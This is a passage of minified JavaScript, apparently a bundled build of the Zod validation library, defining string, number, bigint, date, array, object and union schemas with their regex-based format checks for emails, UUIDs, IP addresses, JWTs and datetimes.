this.safeParse(null).success}},Dt=/^c[^\s-]{8,}$/i,Bt=/^[0-9a-z]+$/,qt=/^[0-9A-HJKMNP-TV-Z]{26}$/i,Ut=/^[0-9a-fA-F]{8}\b-[0-9a-fA-F]{4}\b-[0-9a-fA-F]{4}\b-[0-9a-fA-F]{4}\b-[0-9a-fA-F]{12}$/i,Jt=/^[a-z0-9_-]{21}$/i,Ft=/^[A-Za-z0-9-_]+\.[A-Za-z0-9-_]+\.[A-Za-z0-9-_]*$/,Wt=/^[-+]?P(?!$)(?:(?:[-+]?\d+Y)|(?:[-+]?\d+[.,]\d+Y$))?(?:(?:[-+]?\d+M)|(?:[-+]?\d+[.,]\d+M$))?(?:(?:[-+]?\d+W)|(?:[-+]?\d+[.,]\d+W$))?(?:(?:[-+]?\d+D)|(?:[-+]?\d+[.,]\d+D$))?(?:T(?=[\d+-])(?:(?:[-+]?\d+H)|(?:[-+]?\d+[.,]\d+H$))?(?:(?:[-+]?\d+M)|(?:[-+]?\d+[.,]\d+M$))?(?:[-+]?\d+(?:[.,]\d+)?S)?)??$/,Ht=/^(?!\.)(?!.*\.\.)([A-Z0-9_'+\-\.]*)[A-Z0-9_+-]@([A-Z0-9][A-Z0-9\-]*\.)+[A-Z]{2,}$/i,Gt="^(\\p{Extended_Pictographic}|\\p{Emoji_Component})+$",Je,Yt=/^(?:(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])$/,Kt=/^(?:(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\/(3[0-2]|[12]?[0-9])$/,Qt=/^(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))$/,Xt=/^(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))\/(12[0-8]|1[01][0-9]|[1-9]?[0-9])$/,er=/^([0-9a-zA-Z+/]{4})*(([0-9a-zA-Z+/]{2}==)|([0-9a-zA-Z+/]{3}=))?$/,tr=/^([0-9a-zA-Z-_]{4})*(([0-9a-zA-Z-_]{2}(==)?)|([0-9a-zA-Z-_]{3}(=)?))?$/,it="((\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-((0[13578]|1[02])-(0[1-9]|[12]\\d|3[01])|(0[469]|11)-(0[1-9]|[12]\\d|30)|(02)-(0[1-9]|1\\d|2[0-8])))",rr=new RegExp(`^${it}$`);function ot(t){let e="[0-5]\\d";t.precision?e=`${e}\\.\\d{${t.precision}}`:t.precision==null&&(e=`${e}(\\.\\d+)?`);let r=t.precision?"+":"?";return`([01]\\d|2[0-3]):[0-5]\\d(:${e})${r}`}function nr(t){return new RegExp(`^${ot(t)}$`)}function ct(t){let e=`${it}T${ot(t)}`,r=[];return r.push(t.local?"Z?":"Z"),t.offset&&r.push("([+-]\\d{2}:?\\d{2})"),e=`${e}(${r.join("|")})`,new RegExp(`^${e}$`)}function sr(t,e){return!!((e==="v4"||!e)&&Yt.test(t)||(e==="v6"||!e)&&Qt.test(t))}function ar(t,e){if(!Ft.test(t))return!1;try{let[r]=t.split(".");if(!r)return!1;let n=r.replace(/-/g,"+").replace(/_/g,"/").padEnd(r.length+(4-r.length%4)%4,"="),s=JSON.parse(atob(n));return!(typeof s!="object"||s===null||"typ"in s&&s?.typ!=="JWT"||!s.alg||e&&s.alg!==e)}catch{return!1}}function ir(t,e){return!!((e==="v4"||!e)&&Kt.test(t)||(e==="v6"||!e)&&Xt.test(t))}var G=class t extends x{_parse(e){if(this._def.coerce&&(e.data=String(e.data)),this._getType(e)!==p.string){let a=this._getOrReturnCtx(e);return f(a,{code:l.invalid_type,expected:p.string,received:a.parsedType}),g}let n=new R,s;for(let a of this._def.checks)if(a.kind==="min")e.data.length<a.value&&(s=this._getOrReturnCtx(e,s),f(s,{code:l.too_small,minimum:a.value,type:"string",inclusive:!0,exact:!1,message:a.message}),n.dirty());else if(a.kind==="max")e.data.length>a.value&&(s=this._getOrReturnCtx(e,s),f(s,{code:l.too_big,maximum:a.value,type:"string",inclusive:!0,exact:!1,message:a.message}),n.dirty());else if(a.kind==="length"){let i=e.data.length>a.value,o=e.data.length<a.value;(i||o)&&(s=this._getOrReturnCtx(e,s),i?f(s,{code:l.too_big,maximum:a.value,type:"string",inclusive:!0,exact:!0,message:a.message}):o&&f(s,{code:l.too_small,minimum:a.value,type:"string",inclusive:!0,exact:!0,message:a.message}),n.dirty())}else if(a.kind==="email")Ht.test(e.data)||(s=this._getOrReturnCtx(e,s),f(s,{validation:"email",code:l.invalid_string,message:a.message}),n.dirty());else if(a.kind==="emoji")Je||(Je=new RegExp(Gt,"u")),Je.test(e.data)||(s=this._getOrReturnCtx(e,s),f(s,{validation:"emoji",code:l.invalid_string,message:a.message}),n.dirty());else if(a.kind==="uuid")Ut.test(e.data)||(s=this._getOrReturnCtx(e,s),f(s,{validation:"uuid",code:l.invalid_string,message:a.message}),n.dirty());else if(a.kind==="nanoid")Jt.test(e.data)||(s=this._getOrReturnCtx(e,s),f(s,{validation:"nanoid",code:l.invalid_string,message:a.message}),n.dirty());else if(a.kind==="cuid")Dt.test(e.data)||(s=this._getOrReturnCtx(e,s),f(s,{validation:"cuid",code:l.invalid_string,message:a.message}),n.dirty());else if(a.kind==="cuid2")Bt.test(e.data)||(s=this._getOrReturnCtx(e,s),f(s,{validation:"cuid2",code:l.invalid_string,message:a.message}),n.dirty());else if(a.kind==="ulid")qt.test(e.data)||(s=this._getOrReturnCtx(e,s),f(s,{validation:"ulid",code:l.invalid_string,message:a.message}),n.dirty());else if(a.kind==="url")try{new URL(e.data)}catch{s=this._getOrReturnCtx(e,s),f(s,{validation:"url",code:l.invalid_string,message:a.message}),n.dirty()}else a.kind==="regex"?(a.regex.lastIndex=0,a.regex.test(e.data)||(s=this._getOrReturnCtx(e,s),f(s,{validation:"regex",code:l.invalid_string,message:a.message}),n.dirty())):a.kind==="trim"?e.data=e.data.trim():a.kind==="includes"?e.data.includes(a.value,a.position)||(s=this._getOrReturnCtx(e,s),f(s,{code:l.invalid_string,validation:{includes:a.value,position:a.position},message:a.message}),n.dirty()):a.kind==="toLowerCase"?e.data=e.data.toLowerCase():a.kind==="toUpperCase"?e.data=e.data.toUpperCase():a.kind==="startsWith"?e.data.startsWith(a.value)||(s=this._getOrReturnCtx(e,s),f(s,{code:l.invalid_string,validation:{startsWith:a.value},message:a.message}),n.dirty()):a.kind==="endsWith"?e.data.endsWith(a.value)||(s=this._getOrReturnCtx(e,s),f(s,{code:l.invalid_string,validation:{endsWith:a.value},message:a.message}),n.dirty()):a.kind==="datetime"?ct(a).test(e.data)||(s=this._getOrReturnCtx(e,s),f(s,{code:l.invalid_string,validation:"datetime",message:a.message}),n.dirty()):a.kind==="date"?rr.test(e.data)||(s=this._getOrReturnCtx(e,s),f(s,{code:l.invalid_string,validation:"date",message:a.message}),n.dirty()):a.kind==="time"?nr(a).test(e.data)||(s=this._getOrReturnCtx(e,s),f(s,{code:l.invalid_string,validation:"time",message:a.message}),n.dirty()):a.kind==="duration"?Wt.test(e.data)||(s=this._getOrReturnCtx(e,s),f(s,{validation:"duration",code:l.invalid_string,message:a.message}),n.dirty()):a.kind==="ip"?sr(e.data,a.version)||(s=this._getOrReturnCtx(e,s),f(s,{validation:"ip",code:l.invalid_string,message:a.message}),n.dirty()):a.kind==="jwt"?ar(e.data,a.alg)||(s=this._getOrReturnCtx(e,s),f(s,{validation:"jwt",code:l.invalid_string,message:a.message}),n.dirty()):a.kind==="cidr"?ir(e.data,a.version)||(s=this._getOrReturnCtx(e,s),f(s,{validation:"cidr",code:l.invalid_string,message:a.message}),n.dirty()):a.kind==="base64"?er.test(e.data)||(s=this._getOrReturnCtx(e,s),f(s,{validation:"base64",code:l.invalid_string,message:a.message}),n.dirty()):a.kind==="base64url"?tr.test(e.data)||(s=this._getOrReturnCtx(e,s),f(s,{validation:"base64url",code:l.invalid_string,message:a.message}),n.dirty()):k.assertNever(a);return{status:n.value,value:e.data}}_regex(e,r,n){return this.refinement(s=>e.test(s),{validation:r,code:l.invalid_string,...h.errToObj(n)})}_addCheck(e){return new t({...this._def,checks:[...this._def.checks,e]})}email(e){return this._addCheck({kind:"email",...h.errToObj(e)})}url(e){return this._addCheck({kind:"url",...h.errToObj(e)})}emoji(e){return this._addCheck({kind:"emoji",...h.errToObj(e)})}uuid(e){return this._addCheck({kind:"uuid",...h.errToObj(e)})}nanoid(e){return this._addCheck({kind:"nanoid",...h.errToObj(e)})}cuid(e){return this._addCheck({kind:"cuid",...h.errToObj(e)})}cuid2(e){return this._addCheck({kind:"cuid2",...h.errToObj(e)})}ulid(e){return this._addCheck({kind:"ulid",...h.errToObj(e)})}base64(e){return this._addCheck({kind:"base64",...h.errToObj(e)})}base64url(e){return this._addCheck({kind:"base64url",...h.errToObj(e)})}jwt(e){return this._addCheck({kind:"jwt",...h.errToObj(e)})}ip(e){return this._addCheck({kind:"ip",...h.errToObj(e)})}cidr(e){return this._addCheck({kind:"cidr",...h.errToObj(e)})}datetime(e){return typeof e=="string"?this._addCheck({kind:"datetime",precision:null,offset:!1,local:!1,message:e}):this._addCheck({kind:"datetime",precision:typeof e?.precision>"u"?null:e?.precision,offset:e?.offset??!1,local:e?.local??!1,...h.errToObj(e?.message)})}date(e){return this._addCheck({kind:"date",message:e})}time(e){return typeof e=="string"?this._addCheck({kind:"time",precision:null,message:e}):this._addCheck({kind:"time",precision:typeof e?.precision>"u"?null:e?.precision,...h.errToObj(e?.message)})}duration(e){return this._addCheck({kind:"duration",...h.errToObj(e)})}regex(e,r){return this._addCheck({kind:"regex",regex:e,...h.errToObj(r)})}includes(e,r){return this._addCheck({kind:"includes",value:e,position:r?.position,...h.errToObj(r?.message)})}startsWith(e,r){return this._addCheck({kind:"startsWith",value:e,...h.errToObj(r)})}endsWith(e,r){return this._addCheck({kind:"endsWith",value:e,...h.errToObj(r)})}min(e,r){return this._addCheck({kind:"min",value:e,...h.errToObj(r)})}max(e,r){return this._addCheck({kind:"max",value:e,...h.errToObj(r)})}length(e,r){return this._addCheck({kind:"length",value:e,...h.errToObj(r)})}nonempty(e){return this.min(1,h.errToObj(e))}trim(){return new t({...this._def,checks:[...this._def.checks,{kind:"trim"}]})}toLowerCase(){return new t({...this._def,checks:[...this._def.checks,{kind:"toLowerCase"}]})}toUpperCase(){return new t({...this._def,checks:[...this._def.checks,{kind:"toUpperCase"}]})}get isDatetime(){return!!this._def.checks.find(e=>e.kind==="datetime")}get isDate(){return!!this._def.checks.find(e=>e.kind==="date")}get isTime(){return!!this._def.checks.find(e=>e.kind==="time")}get isDuration(){return!!this._def.checks.find(e=>e.kind==="duration")}get isEmail(){return!!this._def.checks.find(e=>e.kind==="email")}get isURL(){return!!this._def.checks.find(e=>e.kind==="url")}get isEmoji(){return!!this._def.checks.find(e=>e.kind==="emoji")}get isUUID(){return!!this._def.checks.find(e=>e.kind==="uuid")}get isNANOID(){return!!this._def.checks.find(e=>e.kind==="nanoid")}get isCUID(){return!!this._def.checks.find(e=>e.kind==="cuid")}get isCUID2(){return!!this._def.checks.find(e=>e.kind==="cuid2")}get isULID(){return!!this._def.checks.find(e=>e.kind==="ulid")}get isIP(){return!!this._def.checks.find(e=>e.kind==="ip")}get isCIDR(){return!!this._def.checks.find(e=>e.kind==="cidr")}get isBase64(){return!!this._def.checks.find(e=>e.kind==="base64")}get isBase64url(){return!!this._def.checks.find(e=>e.kind==="base64url")}get minLength(){let e=null;for(let r of this._def.checks)r.kind==="min"&&(e===null||r.value>e)&&(e=r.value);return e}get maxLength(){let e=null;for(let r of this._def.checks)r.kind==="max"&&(e===null||r.value<e)&&(e=r.value);return e}};G.create=t=>new G({checks:[],typeName:_.ZodString,coerce:t?.coerce??!1,...v(t)});function or(t,e){let r=(t.toString().split(".")[1]||"").length,n=(e.toString().split(".")[1]||"").length,s=r>n?r:n,a=Number.parseInt(t.toFixed(s).replace(".","")),i=Number.parseInt(e.toFixed(s).replace(".",""));return a%i/10**s}var re=class t extends x{constructor(){super(...arguments),this.min=this.gte,this.max=this.lte,this.step=this.multipleOf}_parse(e){if(this._def.coerce&&(e.data=Number(e.data)),this._getType(e)!==p.number){let a=this._getOrReturnCtx(e);return f(a,{code:l.invalid_type,expected:p.number,received:a.parsedType}),g}let n,s=new R;for(let a of this._def.checks)a.kind==="int"?k.isInteger(e.data)||(n=this._getOrReturnCtx(e,n),f(n,{code:l.invalid_type,expected:"integer",received:"float",message:a.message}),s.dirty()):a.kind==="min"?(a.inclusive?e.data<a.value:e.data<=a.value)&&(n=this._getOrReturnCtx(e,n),f(n,{code:l.too_small,minimum:a.value,type:"number",inclusive:a.inclusive,exact:!1,message:a.message}),s.dirty()):a.kind==="max"?(a.inclusive?e.data>a.value:e.data>=a.value)&&(n=this._getOrReturnCtx(e,n),f(n,{code:l.too_big,maximum:a.value,type:"number",inclusive:a.inclusive,exact:!1,message:a.message}),s.dirty()):a.kind==="multipleOf"?or(e.data,a.value)!==0&&(n=this._getOrReturnCtx(e,n),f(n,{code:l.not_multiple_of,multipleOf:a.value,message:a.message}),s.dirty()):a.kind==="finite"?Number.isFinite(e.data)||(n=this._getOrReturnCtx(e,n),f(n,{code:l.not_finite,message:a.message}),s.dirty()):k.assertNever(a);return{status:s.value,value:e.data}}gte(e,r){return this.setLimit("min",e,!0,h.toString(r))}gt(e,r){return this.setLimit("min",e,!1,h.toString(r))}lte(e,r){return this.setLimit("max",e,!0,h.toString(r))}lt(e,r){return this.setLimit("max",e,!1,h.toString(r))}setLimit(e,r,n,s){return new t({...this._def,checks:[...this._def.checks,{kind:e,value:r,inclusive:n,message:h.toString(s)}]})}_addCheck(e){return new t({...this._def,checks:[...this._def.checks,e]})}int(e){return this._addCheck({kind:"int",message:h.toString(e)})}positive(e){return this._addCheck({kind:"min",value:0,inclusive:!1,message:h.toString(e)})}negative(e){return this._addCheck({kind:"max",value:0,inclusive:!1,message:h.toString(e)})}nonpositive(e){return this._addCheck({kind:"max",value:0,inclusive:!0,message:h.toString(e)})}nonnegative(e){return this._addCheck({kind:"min",value:0,inclusive:!0,message:h.toString(e)})}multipleOf(e,r){return this._addCheck({kind:"multipleOf",value:e,message:h.toString(r)})}finite(e){return this._addCheck({kind:"finite",message:h.toString(e)})}safe(e){return this._addCheck({kind:"min",inclusive:!0,value:Number.MIN_SAFE_INTEGER,message:h.toString(e)})._addCheck({kind:"max",inclusive:!0,value:Number.MAX_SAFE_INTEGER,message:h.toString(e)})}get minValue(){let e=null;for(let r of this._def.checks)r.kind==="min"&&(e===null||r.value>e)&&(e=r.value);return e}get maxValue(){let e=null;for(let r of this._def.checks)r.kind==="max"&&(e===null||r.value<e)&&(e=r.value);return e}get isInt(){return!!this._def.checks.find(e=>e.kind==="int"||e.kind==="multipleOf"&&k.isInteger(e.value))}get isFinite(){let e=null,r=null;for(let n of this._def.checks){if(n.kind==="finite"||n.kind==="int"||n.kind==="multipleOf")return!0;n.kind==="min"?(r===null||n.value>r)&&(r=n.value):n.kind==="max"&&(e===null||n.value<e)&&(e=n.value)}return Number.isFinite(r)&&Number.isFinite(e)}};re.create=t=>new re({checks:[],typeName:_.ZodNumber,coerce:t?.coerce||!1,...v(t)});var ne=class t extends x{constructor(){super(...arguments),this.min=this.gte,this.max=this.lte}_parse(e){if(this._def.coerce)try{e.data=BigInt(e.data)}catch{return this._getInvalidInput(e)}if(this._getType(e)!==p.bigint)return this._getInvalidInput(e);let n,s=new R;for(let a of this._def.checks)a.kind==="min"?(a.inclusive?e.data<a.value:e.data<=a.value)&&(n=this._getOrReturnCtx(e,n),f(n,{code:l.too_small,type:"bigint",minimum:a.value,inclusive:a.inclusive,message:a.message}),s.dirty()):a.kind==="max"?(a.inclusive?e.data>a.value:e.data>=a.value)&&(n=this._getOrReturnCtx(e,n),f(n,{code:l.too_big,type:"bigint",maximum:a.value,inclusive:a.inclusive,message:a.message}),s.dirty()):a.kind==="multipleOf"?e.data%a.value!==BigInt(0)&&(n=this._getOrReturnCtx(e,n),f(n,{code:l.not_multiple_of,multipleOf:a.value,message:a.message}),s.dirty()):k.assertNever(a);return{status:s.value,value:e.data}}_getInvalidInput(e){let r=this._getOrReturnCtx(e);return f(r,{code:l.invalid_type,expected:p.bigint,received:r.parsedType}),g}gte(e,r){return this.setLimit("min",e,!0,h.toString(r))}gt(e,r){return this.setLimit("min",e,!1,h.toString(r))}lte(e,r){return this.setLimit("max",e,!0,h.toString(r))}lt(e,r){return this.setLimit("max",e,!1,h.toString(r))}setLimit(e,r,n,s){return new t({...this._def,checks:[...this._def.checks,{kind:e,value:r,inclusive:n,message:h.toString(s)}]})}_addCheck(e){return new t({...this._def,checks:[...this._def.checks,e]})}positive(e){return this._addCheck({kind:"min",value:BigInt(0),inclusive:!1,message:h.toString(e)})}negative(e){return this._addCheck({kind:"max",value:BigInt(0),inclusive:!1,message:h.toString(e)})}nonpositive(e){return this._addCheck({kind:"max",value:BigInt(0),inclusive:!0,message:h.toString(e)})}nonnegative(e){return this._addCheck({kind:"min",value:BigInt(0),inclusive:!0,message:h.toString(e)})}multipleOf(e,r){return this._addCheck({kind:"multipleOf",value:e,message:h.toString(r)})}get minValue(){let e=null;for(let r of this._def.checks)r.kind==="min"&&(e===null||r.value>e)&&(e=r.value);return e}get maxValue(){let e=null;for(let r of this._def.checks)r.kind==="max"&&(e===null||r.value<e)&&(e=r.value);return e}};ne.create=t=>new ne({checks:[],typeName:_.ZodBigInt,coerce:t?.coerce??!1,...v(t)});var se=class extends x{_parse(e){if(this._def.coerce&&(e.data=!!e.data),this._getType(e)!==p.boolean){let n=this._getOrReturnCtx(e);return f(n,{code:l.invalid_type,expected:p.boolean,received:n.parsedType}),g}return A(e.data)}};se.create=t=>new se({typeName:_.ZodBoolean,coerce:t?.coerce||!1,...v(t)});var ae=class t extends x{_parse(e){if(this._def.coerce&&(e.data=new Date(e.data)),this._getType(e)!==p.date){let a=this._getOrReturnCtx(e);return f(a,{code:l.invalid_type,expected:p.date,received:a.parsedType}),g}if(Number.isNaN(e.data.getTime())){let a=this._getOrReturnCtx(e);return f(a,{code:l.invalid_date}),g}let n=new R,s;for(let a of this._def.checks)a.kind==="min"?e.data.getTime()<a.value&&(s=this._getOrReturnCtx(e,s),f(s,{code:l.too_small,message:a.message,inclusive:!0,exact:!1,minimum:a.value,type:"date"}),n.dirty()):a.kind==="max"?e.data.getTime()>a.value&&(s=this._getOrReturnCtx(e,s),f(s,{code:l.too_big,message:a.message,inclusive:!0,exact:!1,maximum:a.value,type:"date"}),n.dirty()):k.assertNever(a);return{status:n.value,value:new Date(e.data.getTime())}}_addCheck(e){return new t({...this._def,checks:[...this._def.checks,e]})}min(e,r){return this._addCheck({kind:"min",value:e.getTime(),message:h.toString(r)})}max(e,r){return this._addCheck({kind:"max",value:e.getTime(),message:h.toString(r)})}get minDate(){let e=null;for(let r of this._def.checks)r.kind==="min"&&(e===null||r.value>e)&&(e=r.value);return e!=null?new Date(e):null}get maxDate(){let e=null;for(let r of this._def.checks)r.kind==="max"&&(e===null||r.value<e)&&(e=r.value);return e!=null?new Date(e):null}};ae.create=t=>new ae({checks:[],coerce:t?.coerce||!1,typeName:_.ZodDate,...v(t)});var be=class extends x{_parse(e){if(this._getType(e)!==p.symbol){let n=this._getOrReturnCtx(e);return f(n,{code:l.invalid_type,expected:p.symbol,received:n.parsedType}),g}return A(e.data)}};be.create=t=>new be({typeName:_.ZodSymbol,...v(t)});var ie=class extends x{_parse(e){if(this._getType(e)!==p.undefined){let n=this._getOrReturnCtx(e);return f(n,{code:l.invalid_type,expected:p.undefined,received:n.parsedType}),g}return A(e.data)}};ie.create=t=>new ie({typeName:_.ZodUndefined,...v(t)});var oe=class extends x{_parse(e){if(this._getType(e)!==p.null){let n=this._getOrReturnCtx(e);return f(n,{code:l.invalid_type,expected:p.null,received:n.parsedType}),g}return A(e.data)}};oe.create=t=>new oe({typeName:_.ZodNull,...v(t)});var Y=class extends x{constructor(){super(...arguments),this._any=!0}_parse(e){return A(e.data)}};Y.create=t=>new Y({typeName:_.ZodAny,...v(t)});var F=class extends x{constructor(){super(...arguments),this._unknown=!0}_parse(e){return A(e.data)}};F.create=t=>new F({typeName:_.ZodUnknown,...v(t)});var L=class extends x{_parse(e){let r=this._getOrReturnCtx(e);return f(r,{code:l.invalid_type,expected:p.never,received:r.parsedType}),g}};L.create=t=>new L({typeName:_.ZodNever,...v(t)});var we=class extends x{_parse(e){if(this._getType(e)!==p.undefined){let n=this._getOrReturnCtx(e);return f(n,{code:l.invalid_type,expected:p.void,received:n.parsedType}),g}return A(e.data)}};we.create=t=>new we({typeName:_.ZodVoid,...v(t)});var W=class t extends x{_parse(e){let{ctx:r,status:n}=this._processInputParams(e),s=this._def;if(r.parsedType!==p.array)return f(r,{code:l.invalid_type,expected:p.array,received:r.parsedType}),g;if(s.exactLength!==null){let i=r.data.length>s.exactLength.value,o=r.data.length<s.exactLength.value;(i||o)&&(f(r,{code:i?l.too_big:l.too_small,minimum:o?s.exactLength.value:void 0,maximum:i?s.exactLength.value:void 0,type:"array",inclusive:!0,exact:!0,message:s.exactLength.message}),n.dirty())}if(s.minLength!==null&&r.data.length<s.minLength.value&&(f(r,{code:l.too_small,minimum:s.minLength.value,type:"array",inclusive:!0,exact:!1,message:s.minLength.message}),n.dirty()),s.maxLength!==null&&r.data.length>s.maxLength.value&&(f(r,{code:l.too_big,maximum:s.maxLength.value,type:"array",inclusive:!0,exact:!1,message:s.maxLength.message}),n.dirty()),r.common.async)return Promise.all([...r.data].map((i,o)=>s.type._parseAsync(new $(r,i,r.path,o)))).then(i=>R.mergeArray(n,i));let a=[...r.data].map((i,o)=>s.type._parseSync(new $(r,i,r.path,o)));return R.mergeArray(n,a)}get element(){return this._def.type}min(e,r){return new t({...this._def,minLength:{value:e,message:h.toString(r)}})}max(e,r){return new t({...this._def,maxLength:{value:e,message:h.toString(r)}})}length(e,r){return new t({...this._def,exactLength:{value:e,message:h.toString(r)}})}nonempty(e){return this.min(1,e)}};W.create=(t,e)=>new W({type:t,minLength:null,maxLength:null,exactLength:null,typeName:_.ZodArray,...v(e)});function ke(t){if(t instanceof j){let e={};for(let r in t.shape){let n=t.shape[r];e[r]=P.create(ke(n))}return new j({...t._def,shape:()=>e})}else return t instanceof W?new W({...t._def,type:ke(t.element)}):t instanceof P?P.create(ke(t.unwrap())):t instanceof q?q.create(ke(t.unwrap())):t instanceof B?B.create(t.items.map(e=>ke(e))):t}var j=class t extends x{constructor(){super(...arguments),this._cached=null,this.nonstrict=this.passthrough,this.augment=this.extend}_getCached(){if(this._cached!==null)return this._cached;let e=this._def.shape(),r=k.objectKeys(e);return this._cached={shape:e,keys:r},this._cached}_parse(e){if(this._getType(e)!==p.object){let d=this._getOrReturnCtx(e);return f(d,{code:l.invalid_type,expected:p.object,received:d.parsedType}),g}let{status:n,ctx:s}=this._processInputParams(e),{shape:a,keys:i}=this._getCached(),o=[];if(!(this._def.catchall instanceof L&&this._def.unknownKeys==="strip"))for(let d in s.data)i.includes(d)||o.push(d);let c=[];for(let d of i){let m=a[d],T=s.data[d];c.push({key:{status:"valid",value:d},value:m._parse(new $(s,T,s.path,d)),alwaysSet:d in s.data})}if(this._def.catchall instanceof L){let d=this._def.unknownKeys;if(d==="passthrough")for(let m of o)c.push({key:{status:"valid",value:m},value:{status:"valid",value:s.data[m]}});else if(d==="strict")o.length>0&&(f(s,{code:l.unrecognized_keys,keys:o}),n.dirty());else if(d!=="strip")throw new Error("Internal ZodObject error: invalid unknownKeys value.")}else{let d=this._def.catchall;for(let m of o){let T=s.data[m];c.push({key:{status:"valid",value:m},value:d._parse(new $(s,T,s.path,m)),alwaysSet:m in s.data})}}return s.common.async?Promise.resolve().then(async()=>{let d=[];for(let m of c){let T=await m.key,C=await m.value;d.push({key:T,value:C,alwaysSet:m.alwaysSet})}return d}).then(d=>R.mergeObjectSync(n,d)):R.mergeObjectSync(n,c)}get shape(){return this._def.shape()}strict(e){return h.errToObj,new t({...this._def,unknownKeys:"strict",...e!==void 0?{errorMap:(r,n)=>{let s=this._def.errorMap?.(r,n).message??n.defaultError;return r.code==="unrecognized_keys"?{message:h.errToObj(e).message??s}:{message:s}}}:{}})}strip(){return new t({...this._def,unknownKeys:"strip"})}passthrough(){return new t({...this._def,unknownKeys:"passthrough"})}extend(e){return new t({...this._def,shape:()=>({...this._def.shape(),...e})})}merge(e){return new t({unknownKeys:e._def.unknownKeys,catchall:e._def.catchall,shape:()=>({...this._def.shape(),...e._def.shape()}),typeName:_.ZodObject})}setKey(e,r){return this.augment({[e]:r})}catchall(e){return new t({...this._def,catchall:e})}pick(e){let r={};for(let n of k.objectKeys(e))e[n]&&this.shape[n]&&(r[n]=this.shape[n]);return new t({...this._def,shape:()=>r})}omit(e){let r={};for(let n of k.objectKeys(this.shape))e[n]||(r[n]=this.shape[n]);return new t({...this._def,shape:()=>r})}deepPartial(){return ke(this)}partial(e){let r={};for(let n of k.objectKeys(this.shape)){let s=this.shape[n];e&&!e[n]?r[n]=s:r[n]=s.optional()}return new t({...this._def,shape:()=>r})}required(e){let r={};for(let n of k.objectKeys(this.shape))if(e&&!e[n])r[n]=this.shape[n];else{let a=this.shape[n];for(;a instanceof P;)a=a._def.innerType;r[n]=a}return new t({...this._def,shape:()=>r})}keyof(){return dt(k.objectKeys(this.shape))}};j.create=(t,e)=>new j({shape:()=>t,unknownKeys:"strip",catchall:L.create(),typeName:_.ZodObject,...v(e)});j.strictCreate=(t,e)=>new j({shape:()=>t,unknownKeys:"strict",catchall:L.create(),typeName:_.ZodObject,...v(e)});j.lazycreate=(t,e)=>new j({shape:t,unknownKeys:"strip",catchall:L.create(),typeName:_.ZodObject,...v(e)});var ce=class extends x{_parse(e){let{ctx:r}=this._processInputParams(e),n=this._def.options;function s(a){for(let o of a)if(o.result.status==="valid")return o.result;for(let o of a)if(o.result.status==="dirty")return r.common.issues.push(...o.ctx.common.issues),o.result;let i=a.map(o=>new E(o.ctx.common.issues));return f(r,{code:l.invalid_union,unionErrors:i}),g}if(r.common.async)return Promise.all(n.map(async a=>{let i={...r,common:{...r.common,issues:[]},parent:null};return{result:await a._parseAsync({data:r.data,path:r.path,parent:i}),ctx:i}})).then(s);{let a,i=[];for(let c of n){let d={...r,common:{...r.common,issues:[]},parent:null},m=c._parseSync({data:r.data,path:r.path,parent:d});if(m.status==="valid")return m;m.status==="dirty"&&!a&&(a={result:m,ctx:d}),d.common.issues.length&&i.push(d.common.issues)}if(a)return r.common.issues.push(...a.ctx.common.issues),a.result;let o=i.map(c=>new E(c));return f(r,{code:l.invalid_union,unionErrors:o}),g}}get options(){return this._def.options}};ce.create=(t,e)=>new ce({options:t,typeName:_.ZodUnion,...v(e)});var J=t=>t instanceof ue?J(t.schema):t instanceof Z?J(t.innerType()):t instanceof le?[t.value]:t instanceof fe?t.options:t instanceof pe?k.objectValues(t.enum):t instanceof me?J(t._def.innerType):t instanceof ie?[void 0]:t instanceof oe?[null]:t instanceof P?[void 0,...J(t.unwrap())]:t instanceof q?[null,...J(t.unwrap())]:t instanceof Ce||t instanceof ge?J(t.unwrap()):t instanceof 